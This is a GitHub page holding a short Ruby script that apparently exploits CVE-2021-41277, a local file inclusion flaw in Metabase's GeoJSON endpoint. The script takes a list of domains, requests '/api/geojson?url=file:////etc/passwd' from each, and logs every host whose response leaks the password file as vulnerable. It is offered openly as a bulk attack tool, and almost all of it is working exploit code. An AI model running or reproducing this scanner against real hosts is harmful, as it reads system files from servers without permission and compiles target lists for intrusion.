-
Notifications
You must be signed in to change notification settings - Fork 1
/
CVE-2021-41277.rb
51 lines (47 loc) · 1.69 KB
/
CVE-2021-41277.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
require 'httparty'
require 'colorize'
require 'timeout'
puts ' ───▄▀▀▀▄▄▄▄▄▄▄▀▀▀▄───
───█▒▒░░░░░░░░░▒▒█───
────█░░█░░░░░█░░█────
─▄▄──█░░░▀█▀░░░█──▄▄─
█░░█─▀▄░░░░░░░▄▀─█░░█
█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
█░░ ░░█
█░░ ℂ𝕍𝔼 𝟚𝟘𝟚𝟙-𝟜𝟙𝟚𝟟𝟟 ░░█
█░░ Little_Boy ░░█
█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█'.green
puts
puts
print 'Enter your domain list : '
domain = gets.chomp
print 'Enter your file name save : '
file_name = gets.chomp
file = File.open(domain, "r").read
data = file.split("\n")
data.each do |domen|
begin
status = Timeout::timeout(2){
response = HTTParty.get(domen+'/api/geojson?url=file:////etc/passwd')
puts
if response.body.include?('daemon' || '/nologin')
puts '[+] => Vulnerable'.colorize(:yellow)
File.open("#{file_name}","a+"){|file|file.write("#{domen}\n")}
puts "File Saved => #{Dir.pwd}/#{file_name}".yellow
else !response.body.include?('daemon' || '/nologin')
puts '[-] => Not Vulnerable'.colorize(:red)
end
}
rescue OpenSSL::SSL::SSLError
puts
puts "[-] => SSL Error...".red
rescue Errno::ECONNREFUSED
puts "[-] => Connection Refused!"
rescue Timeout::Error
puts
puts "[-] => Time Out...".red
rescue Errno::ECONNRESET
rescue Interrupt
puts "Leaving the program...".red
end
end